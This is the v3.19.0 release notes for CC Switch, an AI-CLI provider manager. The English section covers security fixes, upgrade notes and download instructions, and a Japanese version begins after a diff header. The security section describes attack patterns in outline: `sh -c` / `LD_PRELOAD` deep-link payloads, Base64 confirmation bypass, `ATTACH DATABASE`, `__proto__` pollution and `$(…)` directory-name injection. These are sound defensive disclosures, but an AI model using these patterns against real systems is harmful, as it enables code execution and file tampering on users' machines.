### Deep-Link Usage Scripts: Disabled by Default, Code Shown Before Use
A usage-query script imported through a deep link is JavaScript that runs every time usage is queried, and it could previously be enabled without you ever having seen the code: the backend treated "code was supplied" as "consent to execute", and the confirmation showed only an enabled / disabled badge, never the script body. Scripts are now **disabled by default** — a link must explicitly carry `usageEnabled=true` to request enabling — and the confirmation shows the entire decoded script in a scrollable, fully wrapped code block, warning that it will be executed once enabled. If decoding fails it falls back to showing the raw payload, so a malformed script cannot masquerade as "no script". The script code is still stored on the provider, and you can enable it manually inside the app after reviewing it.
### URL-Safe Base64 Could Blank the Whole Confirmation Dialog
The two items above fix "the confirmation doesn't show enough"; this one fixes "the confirmation can show nothing at all". The backend accepts four Base64 variants (including RFC 4648 §5's URL-safe alphabet), while the frontend's `atob` only knows the standard alphabet and, when it cannot decode, **returns the input unchanged instead of raising an error** — so for one and the same payload, the backend decodes successfully and imports, while the frontend is left holding a blob of undecodable characters. Usage scripts and system prompts therefore displayed as opaque Base64; **MCP configs were the worst: the `JSON.parse` failure was swallowed by the component, the confirmation rendered "0 servers" with an empty list, and the backend went right on writing the real entries into the live MCP file**. Changing a single `/` to `_` in the payload was enough — the confirmation goes blank, the import still works, and the full display the two items above had just added is defeated along with it.
The frontend decoder now normalizes the URL-safe alphabet before decoding, so what the confirmation shows is always what will be imported; the shared decoder gains unit tests for the first time, containing a precondition self-assertion that the sample really does land on the URL-safe branch rather than happening to be identical in both encodings.
> This defect affects every version since v3.8.0. If you have ever imported MCP servers through a `ccswitch://` link, it is worth a check — see "Upgrade Notes".
### SQL Imports Reject Statements That Reach Outside the Importing Database
Importing a database backup previously validated only the file's header comment and then handed the whole text straight to `execute_batch` — a carefully crafted backup could `ATTACH DATABASE` to create a SQLite file anywhere the user can write, and that side effect happened before the import's own state validation, so the file landed even when the import failed as a whole; WebDAV / S3 sync snapshots go through the same code path. A SQLite authorizer is now installed for the duration of an external batch (and removed the moment it ends, so the app's own schema maintenance is unaffected): `ATTACH` / `DETACH`, `VACUUM`, virtual-table creation (file-backed modules such as csvfile can read and write arbitrary paths), and every action SQLite reports as unknown are all rejected — future new statements fail by default; of the PRAGMAs, only the two the exporter actually writes, `foreign_keys` and `user_version`, are allowed through.
### Prototype Pollution in Common-Config Snippets
The three walkers that apply, remove, and compare common-config snippets all used to follow `__proto__` into the global `Object.prototype`: `JSON.parse('{"__proto__":{…}}')` yields an own enumerable property, so merging wrote attacker-chosen values onto the global prototype — and the `settings` table is overwritten wholesale from the remote during sync, so once a malicious WebDAV / S3 snapshot has landed, opening a provider form once is enough to trigger the merge. All three walkers now skip `__proto__`, `constructor`, and `prototype`; the "common config applied" comparison additionally requires own properties, which incidentally fixes a visible oddity — `{"__proto__":{}}` used to be judged a subset of any config.
### Command Injection Through Directory Names When Launching a Terminal
When resuming a session in an external terminal, the `cd` line previously wrapped the working directory in double quotes and escaped only backslashes and double quotes — but inside double quotes a shell still expands `$(…)`, backticks, and `$VAR`, and this value is the real project path recorded in the CLI's session history, where on macOS a directory name may legitimately contain those characters. Name a folder that way, and clicking "Resume" executes the embedded command in your terminal, with no compromised component involved anywhere. The three launchers that assemble a shell line — Terminal.app, iTerm, and kitty — switch to POSIX single-quote escaping, under which nothing expands at all (the AppleScript quoting layer needed to get through Terminal / iTerm is handled safely too); Ghostty, WezTerm / Kaku, and Alacritty already passed the directory as a separate argument and were safe to begin with.
### GrokBuild Credential Resolution No Longer Substitutes or Inlines Environment Keys
GrokBuild credential extraction previously fell back to the process-level `XAI_API_KEY` when the `env_key` variable named in the config was unset — silently substituting another account's key and sending it to whatever base URL the config pointed at; credentials now come only from an explicit inline `api_key` or from the environment variable that `env_key` names exactly. Deep-link imports no longer resolve environment variables into a plaintext `api_key`; a link carrying only an `env_key` name is rejected with a prompt to add it manually — accepting it as-is would mean the victim's environment key still gets resolved at request time and sent to the address the link declares. Fixed along the way: base URL resolution is decoupled from credential resolution, where previously a missing credential cleared the base URL along with it, so on macOS (where GUI processes do not inherit the shell environment) the address shown in the UI differed from the one actually used, and the usage script's `{{baseUrl}}` expanded to empty. ([#5811](https://github.com/farion1231/cc-switch/pull/5811))
---
## Documentation
### "Using GPT Models in Claude Code" Guide Completed in English and Japanese
The local routing guide that previously existed only in Chinese has now been fully ported to English and Japanese, covering both connection paths end to end: a third-party OpenAI Responses gateway (API key), and a ChatGPT Plus/Pro subscription through Codex device-code OAuth sign-in. Both routing guides were also retitled around "which model" rather than "which client pairs with which" — [Using GPT Models in Claude Code](../guides/claude-codex-routing-guide-en.md) and [Using Claude Models in Codex](../guides/codex-claude-routing-guide-en.md) — and every cross-link (including the v3.18.0 release notes in all three languages) now points at the version in the reader's own language.
### User Manual: Deep-Link `usageEnabled` Default Corrected
The deep-link reference in the three-language user manual previously claimed `usageEnabled` defaults to `true`, when the actual default is `false`, matching the importer. The manual now states the correct default and adds two consequences: the confirmation shows the script's full code before import, and without an explicit `usageEnabled=true` the script is imported disabled and can be enabled inside the app later.
### SECURITY.md: Threat Model and Reporting Scope
`SECURITY.md` gains a bilingual threat model and an explicit in-scope / out-of-scope list, triaging reports by "who controls this input" rather than "which API the value eventually reached": the built-in WebView renderer is declared a trusted component (with four independently verifiable facts and the conditions that would invalidate them); deep-link payloads, WebDAV / S3 restore data, imported files, upstream API responses, and inbound requests to the local proxy are all listed as untrusted inputs, and reports about them are welcome.
---
## Upgrade Notes
### No Database Migration in This Release
v3.19.0 contains no schema migration (the version stays at v16), so it is ready to use straight after upgrading, with no wait for a data rebuild.
### One-Time Gemini Key Scrub (Please Read)
The first launch after upgrading performs a one-time Gemini common-config scrub before the regular config extraction. **Some Gemini providers may afterwards report a missing API key**: entries are deleted by matching a credential-style key name plus an exact value match, and what usually gets removed is another provider's credential that leaked in through the shared snippet (that provider's own original value was already overwritten when the leak happened and cannot be recovered) — but **a same-value key you intentionally reused across several Gemini providers is removed too**. Either way, rotate before re-entering: **any key that ever entered the shared Gemini snippet should be treated as exposed**. The deleted key names and the affected provider ids (never the values) are recorded in the `settings` table under `gemini_common_config_scrub_audit_v1`, which you can use to locate each provider whose key needs filling in again.
### Ever Imported MCP Through a Deep Link? Worth a Check (Please Read)
Before this release, the `ccswitch://` MCP import confirmation could **fail to show what was about to be written**: arguments and environment variables were not rendered at all (`command: "sh"` plus `args: ["-c", …]` displayed as a harmless `sh`), and if the payload was URL-safe Base64 encoded the whole list displayed as "0 servers" — while in both cases the backend went right on writing the entries into each app's live MCP file. Both defects affect **every version since v3.8.0** and are fixed together in this release.
Exploiting this requires you to personally open an attacker-supplied link and click "Import", so the vast majority of users are unaffected. **If you have in fact opened a `ccswitch://` MCP import link from a source you did not fully trust**, it is worth going through the MCP panel entry by entry, or checking `mcpServers` in `~/.claude.json` directly (for Codex, `mcp_servers` in `~/.codex/config.toml`), to confirm there is nothing there you do not recognize — MCP servers are executed as child processes the next time the CLI starts.
### Deep-Link Usage Scripts Are Disabled by Default
A deep link carrying a usage-query script is now imported with the script disabled, unless the link explicitly carries `usageEnabled=true`. Links that relied on automatic enabling (some partners' one-click setup links, for example) will import the script without turning usage queries on — review the code and enable it manually in the provider editor. Usage scripts configured by hand inside the app are unaffected.
### New Default Models Only Affect Newly Created Providers
Saved providers keep the model ID they were created with; using the new models requires editing them by hand. Claude Desktop's opus route advances to `claude-opus-5` and `claude-opus-4-8` moves into the compatibility-alias slot, so existing configs still resolve as before.
### Pricing Seeding and the Local Pricing File
The new pricing rows (`claude-opus-5`, `gemini-3.6-flash`, `grok-4.5-build`) are appended on next launch via insert-if-absent — **seeding never overwrites a price you have edited**. `~/.cc-switch/model-pricing.json` starts empty and records only the manual price edits and deletions made from this release on — earlier edits are not migrated into it; to make them survive a database rebuild, just re-save them once. The models.dev automatic sync stays off until you turn it on; once it is on, it is the one path that overwrites matching prices, built-in and hand-edited alike.
### GrokBuild Implicit Environment-Variable Fallback Removed
GrokBuild providers that relied on the implicit `XAI_API_KEY` environment fallback now need an explicit `api_key` or a correctly named `env_key`.
### Grok Official Mode Usage Is Intentionally Delayed
Grok usage from official mode appears after a delay of roughly ten minutes plus one sync cycle — events settle first and are then checked against proxy-recorded rows to prevent double counting; if routed traffic and official traffic alternate within the window, some official turns are skipped rather than risking a duplicate count. Grok Build rows that the old cost backfill overestimated keep their values — the backfill only handles zero-cost rows and never revises an existing positive cost.
### The Update Mirror Takes Effect from the Next Release
The updater's endpoint list is baked into the app binary, so existing installations still query only GitHub until they upgrade to a version containing this change; from then on the `dl.ccswitch.io` mirror comes first, with GitHub as fallback.
### Sponsor Domain Migrations Do Not Change Existing Providers
Already-created providers keep the old address stored in the database and still point at the old domain. To move to the new domain, edit the provider's address by hand, or recreate it from the refreshed preset.
---
## Risk Notice
### SuperGrok Quota Queries (New in This Release)
The SuperGrok quota display on provider cards reads Grok CLI's own OAuth credentials (`~/.grok/auth.json`) and queries grok.com's billing endpoint — an endpoint that is not publicly documented, and whose response parsing is based on observation of the current format, so this feature may stop working once xAI changes the interface (at which point the card degrades to showing no quota, with nothing else affected). CC Switch neither stores nor modifies these credentials.
### Carried-Over Notices
**xAI Grok OAuth sign-in**: reuses the public OAuth client identity of the official Grok CLI; using it could lead to account restriction or suspension — see the [v3.18.0 release notes](v3.18.0-en.md#risk-notice) for details.
**Codex OAuth reverse proxy**: using a ChatGPT subscription's Codex OAuth through a reverse proxy may violate OpenAI's terms of service. See the [v3.13.0 release notes](v3.13.0-en.md#-risk-notice) for details.
**Third-party provider routing**: when CC Switch's local proxy converts and forwards Codex, Claude Desktop, or Grok Build requests to third-party providers, each provider may have different requirements for billing, compliance, and data retention. Read the target provider's terms before use.
By enabling these features, users accept the related risks. CC Switch is not responsible for account restrictions, warnings, or service suspensions caused by using these features.
---
## Thanks
This release's security hardening came almost entirely from outside — one PR, plus the security reports we received.
### Code Contributions
- [#5811](https://github.com/farion1231/cc-switch/pull/5811): zip-slip and repository-coordinate traversal in Skill installation, the Gemini common-config credential leak and its one-time scrub, GrokBuild credential resolution, and fixes across several panic paths, thanks @zayokami. This is the broadest single body of work in the release.
- [#5734](https://github.com/farion1231/cc-switch/pull/5734): models.dev automatic pricing sync, thanks @YUZHEthefool.
- [#5626](https://github.com/farion1231/cc-switch/pull/5626): faster Codex usage import for forked sessions, thanks @ayanamislover (co-credited with @SaladDay).
### Security Reports
Four of the fixes in this release's "Security Hardening" section came from security reports sent privately. Thanks to **23pds** (SlowMist) and **zues devil** — attributed item by item below:
- **The deep-link import confirmation showed only a single truncated `Command:` line** — `args`, `url`, and `env` were not rendered at all, so an `sh -c` payload with `LD_PRELOAD` looked like nothing but an `sh` in the UI. This is the highest-impact item in the release. (23pds, SlowMist)
- **SQL backup imports were unconstrained** — `ATTACH DATABASE` could create a file anywhere the user can write, and the side effect happened before the import's own validation. (zues devil)
- **Command injection through directory names when launching an external terminal** — the `cd` line was double-quoted, so `$(…)` still expanded, and this value is the real project path recorded in the session history. (Reported independently by zues devil and 23pds, against the built-in launchers and the custom template paths respectively.)
- **Prototype pollution in common-config snippet merging** — all three walkers followed `__proto__` into the global `Object.prototype`. (23pds, SlowMist)
These reports also prompted us to fill in the threat model and reporting scope in [SECURITY.md](../../SECURITY.md) — until then, this project documented only how to report, never what counts as a vulnerability.
The other two deep-link fixes (usage scripts disabled by default, and the URL-safe Base64 bypass) were found while reviewing those fixes themselves, and were not part of the original reports.
### Issue Reports
Thanks to the users who reported proxy image reads blowing up the context in [#4465](https://github.com/farion1231/cc-switch/issues/4465) and [#5663](https://github.com/farion1231/cc-switch/issues/5663) — this release's most important proxy fix came from the reproduction clues in those real-world scenarios.
---
## Download & Install
Visit [Releases](https://github.com/farion1231/cc-switch/releases/latest) and download the build for your system, or get it from the official site [ccswitch.io](https://ccswitch.io) (from this release on, downloads are distributed through Cloudflare edge nodes and no longer depend on GitHub being reachable).
### System Requirements
| System | Minimum Version | Architecture |
| ------- | -------------------- | ----------------------------------- |
| Windows | Windows 10 and later | x64 / ARM64 |
| macOS | macOS 12 (Monterey)+ | Intel (x64) / Apple Silicon (arm64) |
| Linux | See table below | x64 / ARM64 |
### Windows
| File | Description |
| ---------------------------------------- | ------------------------------------------------ |
| `CC-Switch-v3.19.0-Windows.msi` | **Recommended** - MSI installer with auto-update |
| `CC-Switch-v3.19.0-Windows-Portable.zip` | Portable build, unzip and run |
Windows ARM64 devices should pick the artifact whose file name carries the `arm64` tag.
### macOS
| File | Description |
| -------------------------------- | ----------------------------------------------------- |
| `CC-Switch-v3.19.0-macOS.dmg` | **Recommended** - DMG installer, drag to Applications |
| `CC-Switch-v3.19.0-macOS.zip` | Unzip and drag to Applications, Universal Binary |
| `CC-Switch-v3.19.0-macOS.tar.gz` | For Homebrew install and auto-update |
Homebrew install:
```bash
brew install --cask cc-switch
```
Upgrade:
```bash
brew upgrade --cask cc-switch
```
### Linux
Linux assets are available for both **x86_64** and **ARM64** (`aarch64`). Choose the file whose architecture tag matches your machine's `uname -m` output:
- `CC-Switch-v3.19.0-Linux-x86_64.AppImage` / `.deb` / `.rpm`
- `CC-Switch-v3.19.0-Linux-arm64.AppImage` / `.deb` / `.rpm`
| Distribution | Recommended Format | Install Command |
| --------------------------------------- | ------------------ | ---------------------------------------------------------------------- |
| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` or `sudo apt install ./CC-Switch-*.deb` |
| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` or `sudo dnf install ./CC-Switch-*.rpm` |
| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` |
| Arch Linux / Manjaro | `.AppImage` | Make executable and run directly, or use AUR |
| Other distributions / unsure | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` |
+353
View File
@@ -0,0 +1,353 @@
# CC Switch v3.19.0
> 本リリースの主軸は**より安心して使えること**です。集中的なセキュリティ強化——Skill のインストール、`ccswitch://` インポート確認、SQL バックアップのインポート、共通設定のマージ、ターミナル起動をすべて引き締めました。うち 2 点は 1 分ほど確認をお願いします——Gemini 共通設定の API キー漏えいを修正し、アップグレード後に自動でクリーンアップします(**キーのローテーションが必要です**)。そして `ccswitch://` の MCP インポート確認ダイアログは、これまで書き込まれるコマンドを表示できないことがありました(**出所の不明なインポートリンクを開いたことがある場合は、一度確認することをおすすめします**)。どちらも「アップグレード時の注意」を参照してください。プロキシの正確性についても大きな修正があります——**プロキシ経由の画像読み取りでコンテキストが溢れなくなりました**(スクリーンショット 1 枚が 10 万 token 超を消費し、2〜3 枚で Codex のセッションが 400 で固まっていました)。手間を減らす部分も実質的です——**モデル価格を models.dev に自動メンテナンスさせられる**ようになり、Grok CLI 公式ログインモードの使用量と SuperGrok サブスクリプション残量がついにダッシュボードに入り、**アプリ内更新は `dl.ccswitch.io` ミラー経由**になりました——GitHub につながりにくい環境でも問題なくアップグレードできます。
**[English →](v3.19.0-en.md) | [中文版 →](v3.19.0-zh.md)**
---
## ハイライト:本リリースでできること
- **プロキシ下でも画像を普通に読める、コンテキストは溢れない**:Codex の `view_image` や画像を返す MCP ツールでは、これまで画像がツールテキストへシリアライズされ、プレーンテキストとして token 計算されていました(約 9,000 倍の膨張)。現在はすべての変換ブリッジが画像をネイティブ形式へ復元してから送信します(ファイルと音声は 2 本の Chat ブリッジで併せて対応)。実測では同一のリプレイターンが 85k+ token から約 12k へ下がり、キャッシュヒット率は 99% でした。
- **モデル価格を models.dev に自動メンテナンスさせる**:使用量パネルに「models.dev 自動価格同期」を追加しました(既定は無効)。有効にすると、起動時に選択したモデルの価格を自動更新します(6 時間に最大 1 回)。完全なカタログから追跡するモデルを選ぶことも、各社の最新のよく使うモデルを自動的に含めることもできます。手動での価格変更と削除は、本リリースから `~/.cc-switch/model-pricing.json` に記録され、データベースを再構築しても失われません。
- **Grok 公式モードの使用量とサブスクリプション残量が見える**:Grok CLI が公式 OAuth でログインしている場合はローカルプロキシを経由できないため、この分の消費はこれまでまったく見えませんでした。現在はセッションログからターンごとの使用量をインポートし、ダッシュボードに「Grok Build (Session)」として表示します。公式カテゴリの Grok Build プロバイダーのカードには、SuperGrok サブスクリプションのクォータ使用量とリセット時刻も直接表示されます。
- **`ccswitch://` インポートリンクをより安心して開ける**:確認ダイアログはコマンド、各引数、URL、環境変数を余さず表示し(認証情報らしき値はマスク表示)、よく見るべき値をハイライトします——シェルのインライン実行、ロード挙動を変える環境変数、内部ネットワーク / メタデータのアドレスです。使用量照会スクリプトはコード全文を表示し、**既定では無効の状態でインポート**されます。
- **Gemini プロバイダーに他人のキーが混入していないことを確認**:共通設定の共有スニペットは、これまで `GOOGLE_API_KEY` などの認証情報を、それを使うすべての Gemini プロバイダーにコピーしていました。本リリースでこの経路を閉じ、アップグレード後の初回起動で一回限りのクリーンアップを自動実行します。**共有 Gemini スニペットを通過したキーはすべて漏えい済みとみなし、ローテーションしてから入力し直してください**(「アップグレード時の注意」参照)。
- **GitHub につながりにくくてもアプリを更新できる**:アプリ内アップデーターは `https://dl.ccswitch.io/latest.json`Cloudflare R2 ミラー)を優先して照会し、GitHub をフォールバックにします。minisign の署名検証は変わらず、ミラー自体は信頼されません。
- **新規プロバイダーで最新モデルをすぐ使える**:プリセットの既定モデルを Claude Opus 5、GPT-5.6 Sol、Gemini 3.6 Flash にアップグレードし、対応する価格も登録しました。作成済みのプロバイダーはそのままです。
- **fork の多い Codex 使用量履歴をより速くインポート**:親 rollout ファイルは一度だけ解析してすべての fork 地点で共有するようになり、fork の多い履歴の再構築が明らかに高速化します。インポート結果はバイト単位で変わりません。
---
## 利用ガイド
本リリースの新機能は主に使用量パネルと `ccswitch://` ディープリンクインポートにあります。以下のドキュメントもあわせてご覧ください:
- **[使用量統計](../user-manual/ja/4-proxy/4.4-usage.md)**:使用量ダッシュボードのデータソースと集計方法を確認できます。本リリースでは models.dev 自動価格同期と Grok 公式モードの使用量インポートを追加しました。
- **[ディープリンクインポート(ccswitch://](../user-manual/ja/5-faq/5.3-deeplink.md)**:インポート確認ダイアログの各フィールドと、`usageEnabled` などのパラメーターの既定値を説明します(本リリースから使用量スクリプトは既定で無効の状態でインポートされます。ドキュメントも修正済みです)。
- **[セキュリティポリシー(SECURITY.md](../../SECURITY.md)**:本リリースで脅威モデルと報告範囲を整備しました——どの入力を信頼しないか、どのような問題の報告を歓迎するかが一目で分かります。
---
> [!WARNING]
>
> ## 唯一の公式チャネル(必ずお読みください)
>
> CC Switch は**完全に無料・オープンソース**のデスクトップアプリで、**ユーザーから料金を徴収することはありません**。本ソフトウェアは下記の公式チャネルからのみ入手してください:
>
> | チャネル | 唯一の公式 |
> | ------------ | ------------------------------------------------------------------------------ |
> | 公式サイト | **[ccswitch.io](https://ccswitch.io)** |
> | ソースコード | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** |
> | ダウンロード | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** |
> | 作者 | **[@farion1231](https://github.com/farion1231)** |
> | 偽サイト通報 | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** |
>
> **料金請求・チャージ・認証情報の提供を求める「CC Switch」サイトやクライアントはすべて偽物です。** 支払いを誘導された場合は直ちに操作を中止し、GitHub Issues からご報告ください。
---
## 概要
CC Switch v3.19.0 は、集中的なセキュリティ強化と、プロキシの正確性に関する大きな修正が主役です。セキュリティ側([#5811](https://github.com/farion1231/cc-switch/pull/5811) および後続の個別修正):GitHub リポジトリからの Skill インストールは zip-slip とパストラバーサルを塞ぎ、アーカイブに上限を設けました。Gemini 共通設定のキー漏えい経路を閉じ、アップグレード後の初回起動で一回限りのクリーンアップを自動実行して、既に他プロバイダーの設定へ漏れ出したキーを取り除きます。SQL バックアップのインポートは SQLite authorizer の下で実行するようになり、`ATTACH` などインポート対象データベースの外に触れられる文はすべて拒否します。共通設定スニペットのマージは `__proto__` をたどってグローバルなプロトタイプを汚染しなくなりました。外部ターミナルの起動は POSIX のシングルクォートエスケープに変え、ディレクトリ名からコマンドを注入することはもうできません。`ccswitch://` のインポート確認ダイアログはペイロードを余さず表示し(認証情報らしき値はマスク表示)、リスクのある値をマークします。使用量スクリプトは既定で無効の状態でインポートされます。プロキシ側では、ツール結果に含まれる画像がツールテキストへシリアライズされなくなり、各変換ブリッジでネイティブなメディアとして復元して送信されるようになりました(ファイルと音声は 2 本の Chat ブリッジで併せて対応)——「113 KB のスクリーンショット 1 枚が 10 万 token 超を食い、2〜3 枚で Codex のセッションが 400 で固まる」問題に終止符を打っています([#4465](https://github.com/farion1231/cc-switch/issues/4465)、[#5663](https://github.com/farion1231/cc-switch/issues/5663))。
使用量統計には 2 つの新機能が入りました。**models.dev 自動価格同期**(オプトイン、[#5734](https://github.com/farion1231/cc-switch/pull/5734))と、それに伴う手動の価格変更 / 削除の、人間が編集可能な `~/.cc-switch/model-pricing.json` への永続化。そして **Grok CLI 公式 OAuth モードの使用量インポート**——このトラフィックはローカルプロキシを通せず、これまでまったく見えませんでした——加えてプロバイダーカードでの SuperGrok サブスクリプションクォータの表示です。配信と使い勝手まわりでは、アプリ内更新が `dl.ccswitch.io` の Cloudflare R2 ミラーを優先するようになり(GitHub にフォールバック、署名検証は不変)、Codex 使用量インポートは fork セッションで解析済みの親 rollout タイムラインを再利用し([#5626](https://github.com/farion1231/cc-switch/pull/5626))、プリセットの既定モデルは Claude Opus 5、GPT-5.6 Sol、Gemini 3.6 Flash にアップグレード、OpenClaw の Kimi For Coding プリセットは base URL を修正、ツールバーのアプリ切り替えはアイコンのみになりました。本リリースに**データベースの schema 移行はありません**。アップグレードは軽量です。
**リリース日**: 2026-07-30
**Stats**: 38 commits | 132 files changed | +14,926 / -1,415 lines
---
## 追加機能
### models.dev 自動価格同期
使用量パネルの価格セクションに「models.dev 自動価格同期」カードが加わりました。**既定は無効で、手動での有効化が必要です**。有効にする際には確認の説明が表示されます——CC Switch は起動時に(6 時間に最大 1 回)models.dev から選択したモデルの価格を更新し、**同名モデルの内蔵価格も手動で設定した価格も上書きされます**。「モデルを選択」ダイアログでは models.dev の完全なカタログを検索・絞り込みでき、さらに「よく使うモデルを自動的に含める」オプションもあります。これは Claude、GPT、Gemini、Grok、DeepSeek、Qwen、MiMo、LongCat、Kimi、MiniMax、GLM 各社の最近リリースされたモデル(ファミリーごとに最大 6 個、個別に除外可能)をカバーします。カードには前回の同期時刻とエラーが表示され、「今すぐ同期」を実行でき、ローカルの価格ファイルを開いたり再読み込みしたりもできます。
本リリースから、手動での価格変更と価格削除は、データベースの隣に置かれる人間が編集可能なファイル `~/.cc-switch/model-pricing.json` にも記録され、起動のたびに再適用されます——データベースを再構築しても手動価格が失われなくなり、削除した内蔵価格もようやく削除したままにできます(tombstone として記録され、再シードされません)。なおこのファイルは作成時点では空で、**既存の価格テーブルから遡って書き出すことは意図的にしていません**(そうすると内蔵価格までオーバーライド項目として書き込まれ、将来の内蔵価格の修正を塞いでしまうためです)。アップグレード前に行った価格変更は引き続きデータベースにのみ存在するので、一度保存し直せばファイルに入ります。同期によって実際に価格が変わった場合は、**これまでコストが算出されたことのない**(ゼロまたは欠落の)過去の使用量行を新しい価格で計算し直します——既にコストがある行は元の値のままです。取得に失敗した場合やオフラインの場合でも、起動をブロックすることは決してありません。models.dev のリストからはテキスト以外のモデルと非推奨のモデル(音声 / 画像 / 動画 / embedding など)も除外し、手動で価格を選ぶダイアログもすっきりしました。([#5734](https://github.com/farion1231/cc-switch/pull/5734)
### Grok 公式モードの使用量が、ついにダッシュボードへ
Grok CLI が公式 OAuth でログインしているときはローカルプロキシへルーティングできません——Grok は空の設定をモードスイッチとして使うため、CC Switch を指し示す場所がないのです——そのためこの分の消費は、これまで使用量ダッシュボードでまったく見えませんでした。現在は通常のセッションログ同期に合わせて、`~/.grok/sessions`(アーカイブ済みセッションを含む)の `updates.jsonl` から `turn_completed` イベント単位でターンごとの使用量をインポートします。コストは CLI 自身が報告する正確な数値を優先し、欠落時はローカル価格にフォールバックします(内蔵価格テーブルに `grok-4.5-build` を追加。100 万 token あたり入力 $2 / 出力 $6 / キャッシュ読み取り $0.30)。インポート行は上流のターンごとの ID をキーにするため、巻き戻したセッションで重複計上されることはありません。確定待ちウィンドウには直近のプロキシ活動チェックを加え、「ルーティング + 公式」を併用しても同じトラフィックが二重に計上されないようにしています。ダッシュボードでは新しい行がプロバイダー名「Grok Build (Session)」として表示され、アプリフィルターに Grok Build の選択肢が加わり、データソース内訳に専用アイコン付きの「Grok Build Session」項目が追加されました。4 言語対応です。
### プロバイダーカード上の SuperGrok サブスクリプションクォータ
カテゴリが「公式」の Grok Build プロバイダーでは、カード上に SuperGrok サブスクリプションの使用量が直接表示されるようになりました——Claude Code / Codex / Gemini の公式サブスクリプションのフッターと並ぶ形です。CC Switch は Grok CLI 自身の OAuth 認証情報(`~/.grok/auth.json`)を読み取り、grok.com の課金 endpoint に問い合わせて、クォータウィンドウの使用率とリセット時刻を取得します。リセット間隔が判別できる場合は「週」または「月」と表示し、そうでない場合は新設の「Credits」区分に入ります(トレイの使用量サマリーでは `c` グループとして表示)。ネットワークの一時的な切断時は前回の値を保持して再試行し、フッターを空にしません。トークンが期限切れの場合は `grok login` のやり直しを促します。Claude Code、Claude Desktop、Codex の管理下 xAI OAuthSuperGrok)プロバイダーにも同じクォータ表示が自動的に付きます——データはそのプロバイダーに紐づくアカウントから取得され、使用量スクリプトの入口はそれに伴って非表示になります。なお Grok Build プロバイダーの「公式」判定は、現在は `category` フィールドのみで行い、設定内容の推定は行いません。
### Claude Opus 5 の内蔵価格
`claude-opus-5` を内蔵価格テーブルに追加しました。100 万 token あたり入力 $5 / 出力 $25、キャッシュ読み取り $0.50 / キャッシュ書き込み $6.25 で、使用量が $0 と表示されなくなります。「存在しなければ挿入」でシードするため、編集済みの価格は影響を受けません(Opus 5 の fast モードは別建ての課金のため、意図的にテーブルへ入れていません)。
### プリセットカタログの更新
A6API(同一モデルに複数の上流を持ち自動で最適な経路を選ぶアグリゲーションプラットフォーム)を 8 つのアプリのスポンサープリセットに追加しました。PackyCode のプリセットは、バックアップ endpoint に対応する 5 種類のプリセット(Claude Code / Claude Desktop / Codex / Gemini CLI / Grok Build)で 3 つのバックアップアドレスを追加し、アドレスマネージャーと速度計測から選択できます。AICoding パートナープリセットが 7 アプリで復帰し、スポンサーの並び順を README と再度揃えました。
---
## 変更
### プリセット既定モデルのアップグレード:Claude Opus 5、GPT-5.6 Sol、Gemini 3.6 Flash
内蔵プリセットの既定モデルが全面的に現行世代になりました。`claude-opus-5``claude-opus-4-8` を置き換え(3 種類の命名形態すべてをカバー)、`gpt-5.6-sol``gpt-5.5` と裸の `gpt-5.6` を置き換え、`gemini-3.6-flash``gemini-3.5-flash` を置き換えます。ミラーされているすべての箇所も同期更新しました——汎用 / NewAPI の既定値、Codex カスタム `config.toml` テンプレート、推奨リスト、フォームのプレースホルダー、4 言語の文言です。`gemini-3.6-flash` の価格も登録しました(100 万 token あたり $1.50 / $7.50、キャッシュ読み取り $0.15)。`gemini-3.1-pro-preview` に固定されたままだった Code0 と Qiniu の Gemini プリセットも 3.6 Flash に揃えています——これは**意図的な tier の調整**です。3.6 に Pro 版はなく、3.5 Pro は引き続きパートナーテストに限定されています。**既定値は新規作成するプロバイダーにのみ影響します**。保存済みのプロバイダーは作成時のモデルを維持します。Claude Desktop の opus ルートの現在値は `claude-opus-5` に前進し、`claude-opus-4-8` は互換エイリアスのスロットへ移りました。既存の設定は従来どおり解決されます。
### アプリ内更新は ccswitch.io ミラー経由へ
アップデーターは `https://dl.ccswitch.io/latest.json`——リリースマニフェストの Cloudflare R2 ミラー——を優先して照会し、GitHub Releases をフォールバックにするようになりました。更新の確認とダウンロードが GitHub への到達性に依存しなくなります。ミラーのマニフェストは各プラットフォームのダウンロードを同一のバケットへ向けますが、minisign の署名はそのままです。署名が保証するのは URL ではなくファイルの内容であり、ダウンロードした成果物はいずれも内蔵の公開鍵に対して検証されます——**ミラー自体は常に信頼されません**。配信は release でゲートされた同期ワークフローが担当し、tag が確かに GitHub の `releases/latest` である場合にのみルートのマニフェストを書き換えるため、ミラーがユーザーを古いバージョンへ引き戻すことはありません。
### Codex 使用量インポート:fork セッションの高速化
Codex 使用量統計のインポートと再構築で、同じ親 rollout ファイルを fork 地点ごとに読み直すことはなくなりました。親の `~/.codex/sessions/*.jsonl` は 1 回だけ解析してメモリ上の token タイムラインを生成し、そこから fork したすべての子セッションで共有します。各子セッションの切り詰め位置はメモリ上のフィルタリングで処理されます。キャッシュはファイル同一性のスタンプ(更新時刻、サイズ、加えて Unix では device/inode、Windows ではボリュームシリアル番号 + ファイル ID)で検証されるため、追記・ローテーション・置換された親ファイルは古いデータを返さず読み直されます。高速化の度合いは fork の密度に応じて変わります——fork の多い履歴では冗長な解析が大幅に減り、fork の少ない履歴はほぼ変わりません。いずれの場合もインポート結果はバイト単位で同一です。([#5626](https://github.com/farion1231/cc-switch/pull/5626)
### ツールバーのアプリ切り替えをアイコンのみに
切り替えボタンはアイコンの横にテキストラベルを描画しなくなりました——管理対象アプリが 8 つに増えてからは、ラベルはほぼ常にオーバーフロー検出で畳まれていたためです。そこで ResizeObserver ベースの自動コンパクト機構を取り除き、常にアイコンのみを表示します。アプリ名はホバー時のツールチップに残り、スクリーンリーダーからは `aria-label` 経由で従来どおりアクセスできます。
### スポンサーのドメインと紹介リンクの更新
